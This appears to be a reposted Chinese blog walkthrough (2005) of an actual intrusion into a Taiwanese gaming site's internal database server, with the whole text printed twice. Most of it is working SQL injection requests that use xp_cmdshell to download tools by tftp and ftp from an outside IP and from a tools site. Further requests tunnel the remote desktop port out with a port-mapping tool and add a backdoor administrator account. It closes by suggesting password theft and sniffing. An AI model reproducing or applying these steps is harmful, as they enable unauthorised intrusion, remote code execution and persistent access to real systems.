内网数据库服务器入侵实战【收藏】
2005-12-21 15:13
134 查看
前言:对付服务器在内网而且对外不开放端口的数据库服务器,除了反弹端口得到一个shell外,没别的好办法,Do all in cmd,太麻烦,不方便我们进一步渗透内网,以下通过一个站点说明我的办法。
目标:http://xx.tw,台湾最大的游戏综合网站,前期信息,web存在注入点,web服务器和数据库服务器不是同一个机器。连接数据库服务器的是sql的sa权限,用nbsi2看过,是在内网,而且数据库服务器对外不开端口,web服务器只开80端口映射,我们来看看数据库服务器能不能上网。 http://xx..tw/news-game.asp?ch_id=001&newsid=2215' create table [xl] ([xl1][varchar](255),[xl2][varchar](255))—
http://xx..tw/news-game.asp?ch_id=001&newsid=2215' insert into xl(xl1) exec%20master.dbo.xp_cmdshell%20'ping 163.com'--
然后爆出xl1的内容,恩,这个内网的机器可以上网,一切都是这么幸运。开始传一个可以下载东西的程序过去先。是winegg的down.exe
http://xx..tw/news-game.asp?ch_id=001&newsid=2215 insert%20into%20xl(xl1) exec%20master.dbo.xp_cmdshell%20'tftp -I 211.78.39.64 get down.exe'--
用xp_dirtree看看,system32下没这个文件,xl1里边也显示超时不成功,换个tftp服务器测试,还是不成功,只有用ftp了:
http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo open 211.78.39.64 >345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo xxxx >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo xxxx >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo get down.exe >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo qui >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'ftp -s:345.txt'--
ok,成功。然后可以下载东西了,先下载个卡端口的fprt.exe,查看xl1,发现成功,看看他开了什么端口。
http://xx.tw/news-game.asp?ch_id=001&newsid=2215'%20insert%20into%20xl(xl1)%20exec%20master.dbo.xp_cmdshell%20'down.exe%20http://666w.com/tools/foprt.exe'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215'%20insert%20into%20xl(xl1)%20exec%20master.dbo.xp_cmdshell%20'fport'--
开了3389,但是显然没对外网映射,怎么办呢?我们要把他映射出来,找到了yyc写的vIDC软件,这个软件分客户端和服务器端,服务器端idc.exe在肉鸡运行,使用默认8080端口,直接在肉鸡运行就ok。客户端vIDCc.exe、vIDCc.DLL,是图形界面的,不能用,我来修改一下,加个ini文件,让他按ini文件里的配置自动连接绑定端口,ok,用down.exe下载到入侵的服务器,运行就已经绑定了3389了,在入侵的机器上添加管理员:
http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec master.dbo.xp_cmdshell 'vidcc.exe'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec master.dbo.xp_cmdshell 'net user xiaolu luaixue /add'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec master.dbo.xp_cmdshell 'net localgroup administrators xiaolu /add'--
Ok 登陆,
进去后,看了看web服务器开了几乎所有能开的端口包括139,然后,findpass,sniffer,等等,就看你的了。
目标:http://xx.tw,台湾最大的游戏综合网站,前期信息,web存在注入点,web服务器和数据库服务器不是同一个机器。连接数据库服务器的是sql的sa权限,用nbsi2看过,是在内网,而且数据库服务器对外不开端口,web服务器只开80端口映射,我们来看看数据库服务器能不能上网。 http://xx..tw/news-game.asp?ch_id=001&newsid=2215' create table [xl] ([xl1][varchar](255),[xl2][varchar](255))—
http://xx..tw/news-game.asp?ch_id=001&newsid=2215' insert into xl(xl1) exec%20master.dbo.xp_cmdshell%20'ping 163.com'--
然后爆出xl1的内容,恩,这个内网的机器可以上网,一切都是这么幸运。开始传一个可以下载东西的程序过去先。是winegg的down.exe
http://xx..tw/news-game.asp?ch_id=001&newsid=2215 insert%20into%20xl(xl1) exec%20master.dbo.xp_cmdshell%20'tftp -I 211.78.39.64 get down.exe'--
用xp_dirtree看看,system32下没这个文件,xl1里边也显示超时不成功,换个tftp服务器测试,还是不成功,只有用ftp了:
http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo open 211.78.39.64 >345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo xxxx >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo xxxx >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo get down.exe >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'echo qui >>345.txt'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec%20master.dbo.xp_cmdshell%20'ftp -s:345.txt'--
ok,成功。然后可以下载东西了,先下载个卡端口的fprt.exe,查看xl1,发现成功,看看他开了什么端口。
http://xx.tw/news-game.asp?ch_id=001&newsid=2215'%20insert%20into%20xl(xl1)%20exec%20master.dbo.xp_cmdshell%20'down.exe%20http://666w.com/tools/foprt.exe'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215'%20insert%20into%20xl(xl1)%20exec%20master.dbo.xp_cmdshell%20'fport'--
开了3389,但是显然没对外网映射,怎么办呢?我们要把他映射出来,找到了yyc写的vIDC软件,这个软件分客户端和服务器端,服务器端idc.exe在肉鸡运行,使用默认8080端口,直接在肉鸡运行就ok。客户端vIDCc.exe、vIDCc.DLL,是图形界面的,不能用,我来修改一下,加个ini文件,让他按ini文件里的配置自动连接绑定端口,ok,用down.exe下载到入侵的服务器,运行就已经绑定了3389了,在入侵的机器上添加管理员:
http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec master.dbo.xp_cmdshell 'vidcc.exe'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec master.dbo.xp_cmdshell 'net user xiaolu luaixue /add'-- http://xx.tw/news-game.asp?ch_id=001&newsid=2215' exec master.dbo.xp_cmdshell 'net localgroup administrators xiaolu /add'--
Ok 登陆,
进去后,看了看web服务器开了几乎所有能开的端口包括139,然后,findpass,sniffer,等等,就看你的了。
相关文章推荐
- 树莓派实战1:查询自己内网,外网ip
- linux系统被入侵后处理实战
- 实战:Windows Server 2008 使用WSUS实现内网计算机系统更新
- 单点登录(七)-----实战-----cas server去掉https验证 标签: cas-server去掉取消https4.2 2017-02-07 16:19 2014人阅读 评论(0) 收藏
- 教你穿透ADSL路由入侵内网
- 实战经验:网吧入侵全攻略(1)
- 基于SNMP的交换机入侵的内网渗透
- [收藏]ASP与ActiveX控件交互实战(连载)
- 如何入侵内网windows xp的几种思路和方法
- 利用IPC$共享入侵windowsXP实战
- 实战:阿里云服务器CentOS6.5下Tomcat网马WAR入侵解决
- 入侵Tomcat服务器一次实战
- 某大牛的入侵实战经验总结
- 如何入侵内网windows xp的几种思路和方法
- SSH 内网端口转发实战
- 入侵内网windows xp的几种思路和方法
- PortSentry:入侵检测工具实战!!!
- 实战经验:网吧入侵全攻略(2)
- Linux 下的Bluetooth 架构 分类: Android驱动 2012-03-16 11:07 492人阅读 评论(0) 收藏 举报 实战Linux Bluetooth编程(一) 协议栈概述